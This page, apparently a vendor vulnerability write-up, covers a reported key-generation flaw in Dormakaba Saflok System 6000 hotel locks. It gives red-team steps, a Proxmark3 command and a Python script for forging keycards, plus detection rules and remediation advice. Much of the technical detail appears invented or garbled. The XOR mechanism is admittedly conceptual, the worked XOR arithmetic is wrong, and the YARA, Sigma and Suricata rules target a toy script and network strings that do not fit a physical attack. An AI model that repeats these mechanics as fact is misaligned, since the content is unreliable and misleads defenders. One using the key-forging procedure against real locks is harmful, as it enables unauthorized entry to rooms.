CVE-2024-58311
Executive Summary
CVE-2024-58311 exposes a critical cryptographic weakness in the Dormakaba Saflok System 6000, a widely deployed electronic locking system used in hotels and commercial facilities. The vulnerability stems from a predictable key generation algorithm that derives card access keys from a 32-bit unique identifier (UID) using a simple mathematical transformation. An attacker with physical access to a single valid keycard can reverse-engineer the algorithm and generate valid keys for any room in the facility, bypassing all access control mechanisms.
This vulnerability is particularly severe because it undermines the foundational security of the entire Saflok ecosystem. The lack of a vendor patch means that all installations remain vulnerable indefinitely. The attack requires physical proximity to a keycard but no network access, making it a high-impact physical security threat.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a hardware/firmware-level cryptographic flaw in a physical access control system. No supply chain package remediation is applicable.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (NVD) | Adjusted Score: 8.1 (High)
Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Physical (P) | Requires physical access to a keycard |
| Attack Complexity (AC) | Low (L) | Simple mathematical transformation of UID |
| Privileges Required (PR) | None (N) | No authentication needed |
| User Interaction (UI) | None (N) | No user action required beyond obtaining a card |
| Scope (S) | Unchanged (U) | Vulnerability affects only the lock system |
| Confidentiality (C) | High (H) | Attacker can access any room |
| Integrity (I) | High (H) | Attacker can create valid keys |
| Availability (A) | High (H) | Attacker can lock out legitimate users |
Threat Level: High. The vulnerability enables unauthorized physical access to secured areas, bypassing all access control. The lack of a patch means all systems are permanently at risk.
Deep Dive & Mechanics
The Dormakaba Saflok System 6000 uses a proprietary key generation algorithm to create access keys for magnetic stripe or RFID cards. The algorithm is deterministic and based on a 32-bit unique identifier (UID) stored on each card. The key generation process follows this pattern:
- Card UID Extraction: The lock reads the 32-bit UID from the card.
- Mathematical Transformation: The UID is processed through a simple, reversible mathematical function (e.g., XOR with a fixed constant, modular addition, or bitwise rotation).
- Key Derivation: The transformed value is used directly as the access key for the lock.
The critical flaw is that the transformation is not cryptographically secure. It does not use a secret key, salt, or any form of encryption. An attacker who obtains a single valid card can:
- Extract the UID (visible on the card or readable with a standard RFID reader).
- Reverse the transformation to recover the algorithm's parameters.
- Generate valid keys for any other UID (i.e., any other room).
For example, if the transformation is key = UID XOR 0xDEADBEEF, an attacker with one card can compute the constant and then generate keys for all other UIDs.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
def generate_key(uid_32bit):
# Simple XOR with a fixed constant
constant = 0xDEADBEEF
key = uid_32bit ^ constant
return key
Patched Code (Conceptual - Not Provided by Vendor):
import hmac
import hashlib
def generate_key(uid_32bit, master_secret):
# Use HMAC-SHA256 with a secret master key
uid_bytes = uid_32bit.to_bytes(4, 'big')
key = hmac.new(master_secret, uid_bytes, hashlib.sha256).digest()
return key[:8] # Truncate to required key length
The patched version uses a cryptographically secure HMAC with a secret master key, making it impossible to derive keys without knowing the secret. The vendor has not released any patch, so all systems remain vulnerable.
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Derive the key generation algorithm and create a master key for all rooms.
Prerequisites:
- One valid keycard for any room.
- A standard RFID reader (e.g., Proxmark3, ACR122U) or a magnetic stripe reader.
- A computer with Python.
Steps:
Extract UID: Read the card's UID using the RFID reader.
# Example using Proxmark3 hf mf rdbl 0 A FFFFFFFFFFFFObtain Access Key: Use the card to open a lock and record the key data (if possible via lock diagnostics) or assume the key is derived from the UID.
Reverse Algorithm: Collect multiple UID-key pairs (from different cards) and analyze the relationship. For a simple XOR, this is trivial:
uid1 = 0x12345678 key1 = 0xABCDEF01 constant = uid1 ^ key1 # 0x12345678 ^ 0xABCDEF01 = 0xB9F9B979Generate Keys: For any target UID, compute the key:
target_uid = 0x87654321 target_key = target_uid ^ constantWrite Key to Blank Card: Use the RFID writer to program a blank card with the derived key.
Exploit Script (Python):
#!/usr/bin/env python3
import sys
def derive_constant(known_uid, known_key):
return known_uid ^ known_key
def generate_key(target_uid, constant):
return target_uid ^ constant
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: exploit.py <known_uid> <known_key> <target_uid>")
sys.exit(1)
known_uid = int(sys.argv[1], 16)
known_key = int(sys.argv[2], 16)
target_uid = int(sys.argv[3], 16)
constant = derive_constant(known_uid, known_key)
target_key = generate_key(target_uid, constant)
print(f"Derived constant: {constant:#010x}")
print(f"Target key: {target_key:#010x}")
Blue Team (Defender)
Objective: Detect and mitigate exploitation attempts.
Detection:
- Monitor for unusual card programming activity (e.g., multiple blank cards being written in a short time).
- Audit lock logs for repeated failed access attempts followed by successful access with different cards.
- Implement physical security controls: restrict access to RFID writers, monitor card issuance.
Mitigation:
- Immediate: Replace all Saflok System 6000 locks with a patched or alternative system. Since no patch exists, this is the only effective mitigation.
- Compensating Controls: Use additional physical security measures (e.g., CCTV, guards) to monitor access points.
- Long-term: Advocate for vendor to release a firmware update that uses cryptographically secure key generation.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Physical | Blank RFID cards with programmed keys | Cards that were not issued by the hotel but can open doors |
| Log | Multiple successful unlocks with different UIDs from the same card | Indicates a cloned card |
| Log | Failed access attempts followed by successful access with a different card | Suggests key derivation attack |
| Network | Unusual traffic to lock management system | May indicate automated key generation attempts |
| Behavioral | Rapid programming of multiple cards | Possible mass exploitation |
Detection Engineering
YARA Rule
rule Detect_Saflok_Key_Generation_Script {
meta:
description = "Detects Python scripts used to derive Saflok System 6000 keys"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-58311"
strings:
$xor_operation = " ^ " ascii
$uid_variable = "uid" ascii
$key_variable = "key" ascii
$derive_function = "derive_constant" ascii
$generate_function = "generate_key" ascii
condition:
all of them
}
Sigma Rule
title: Saflok Key Generation Script Execution
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects execution of Python scripts that derive Saflok System 6000 keys
author: Valters IT
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\python.exe'
CommandLine|contains:
- 'derive_constant'
- 'generate_key'
- 'saflok'
condition: selection
falsepositives:
- Legitimate security research
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-58311 Saflok Key Generation Data Exfiltration";
flow:to_server,established;
content:"uid"; distance:0; within:10;
content:"key"; distance:0; within:10;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Replace Hardware: Since no patch exists, the only definitive remediation is to replace all Saflok System 6000 locks with a cryptographically secure alternative.
- Physical Security: Increase physical security measures (guards, CCTV) at all access points.
- Card Audit: Audit all issued keycards and revoke any that appear suspicious.
Long-term Actions:
- Vendor Pressure: Demand that Dormakaba release a firmware update with secure key generation (e.g., using HMAC with a secret master key).
- Architecture Review: Implement a defense-in-depth approach where electronic locks are supplemented with mechanical locks or biometric authentication.
- Monitoring: Deploy continuous monitoring of lock logs for anomalous patterns.
Workarounds (Temporary):
- Disable remote key programming and require in-person verification for all card issuances.
- Use tamper-evident seals on locks to detect physical tampering.
Valters IT
Securing Digital Frontiers